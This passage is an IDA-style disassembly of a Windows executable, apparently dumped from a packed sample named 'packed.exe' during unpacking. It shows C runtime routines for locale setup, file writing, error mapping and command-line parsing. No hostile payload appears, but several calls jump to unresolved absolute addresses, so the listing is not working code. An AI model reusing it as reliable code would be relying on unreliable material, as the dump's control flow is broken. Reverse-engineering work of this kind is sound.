loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C

loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------

loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh

loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4CDA64, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 26101D3h
; ---------------------------------------------------------------------------

loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 28A1BD9h
; ---------------------------------------------------------------------------

loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_4CDA58
		mov	dword_4CDA64, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4CEF00
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		mov	dword_4CEDE4, eax
		mov	dword_4CEDFC, eax
		mov	dword_4CF004, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4CEDE4
		nop
		call	near ptr 28A146Fh
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h

loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx

loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4CF004
		push	dword_4CEDE4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4CF004
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4CF004
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_4CEF01[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_4CEE00[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------

loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_4CEF01[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------

loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_4CEE00[eax], 0

loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------

loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_4CEF01[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_4CEE00[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------

loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_4CEF01[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------

loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_4CEE00[eax], 0

loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC

loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_4CF034, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_4CF034, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------

loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]

loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4CEF01[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------

loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76

loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0

loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]

loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4CEDE0
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8

loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch

loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF

loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]

loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E

loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18

loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi

loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		call	near ptr 2660AEBh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------

loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		call	near ptr 2660AEBh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1

loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_4CD9B4, 1Ch
		mov	dword_4CD9B8, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh

loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4CD9B8, ecx
		mov	eax, offset dword_436100

loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_436268
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_4CD9B4, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_436104[edx*8]
		mov	dword_4CD9B4, eax
		retn
; ---------------------------------------------------------------------------

loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_4CD9B4, 8
		jbe	short locret_41EFAA

loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_4CD9B4, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------

loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_4CDA68
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4CDA68, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_4362E0
		mov	edx, dword_4362E4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:436270h[esi*4]

loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022

loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_4362EC
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_4362EC, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_4362EC, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_4362EC, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_4362EC, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_4362EC, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_4362EC, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_4362EC, 8Ah

loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_4362EC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4362EC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------

loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_4CDA68, eax

loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------

loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2610000h
		nop

loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4362E8
		cmp	dword_436268, edx
		push	esi
		mov	eax, offset dword_436268
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:436268h[esi*4]

loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E

loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:436268h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E

loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_4CF034, 0
		jnz	short loc_41F13D
		call	sub_41ECF1

loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_4CF02C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F

loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------

loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179

loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------

loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179

loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173

loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C

loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1

loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_4CDA00
		xor	edi, edi

loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi

loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------

loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4CD9DC, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_4CDA00
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp

loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp

loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_4CDA00
		call	sub_417C3B
		pop	ecx
		mov	dword_4CDA00, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4CF030, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1

loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		mov	eax, dword_4CF02C
		mov	off_4CD9EC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax

loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx

loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4CD9D4, esi
		pop	edi
		pop	esi
		mov	dword_4CD9D0, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C

loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------

loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi

loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax

loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C

loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387

loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0

loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0

loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C

